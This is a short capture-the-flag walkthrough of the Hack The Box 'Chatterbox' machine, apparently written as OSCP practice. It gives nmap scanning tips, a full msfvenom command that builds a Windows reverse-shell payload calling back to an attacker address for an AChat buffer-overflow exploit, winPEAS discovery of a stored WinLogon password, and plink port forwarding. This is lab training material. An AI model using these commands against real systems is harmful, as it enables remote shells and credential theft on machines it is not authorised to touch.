HTB Chatterbox OSCP No Metasploit

Lessons Learned

1. nmap -sT -p- --min-rate 5000 --max-retries 1 10.10.10.74 -Pn (Use this if aggressive scan is slow)
2. Password must be set on root for plink.exe to connect back to Kali (sudo su; passwd root)
3. Must use root account for Ports 1024 and under to connect.

Walkthrough

First I scan using nmap. My usual nmap -A -p- 10.10.10.74 was on schedule for 3 hours and 30 minutes! I found this nmap option which IS BEAUTIFUL, AMAZING, and a TIME SAVER. If a box takes too long to scan, I will def turn to this. It will become a staple.

nmap -sT -p- --min-rate 5000 --max-retries 1 10.10.10.74 -Pn

I then do an aggressive scan on both of the ports. AChat is in the header. I searchsploit it.

Use msfvenom to generate python shellcode. Remember to include LHOST and LPORT. I changed the -p payload to windows/shell_reverse_tcp

msfvenom LHOST=10.10.14.2 LPORT=4444 -a x86 --platform Windows -p windows/shell_reverse_tcp -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

Run winPEAS.exe. We see that the password Welcome! is saved in WinLogon. Its possible the Admin password is that too. Will need to port forward the Samba Server to our Kali host.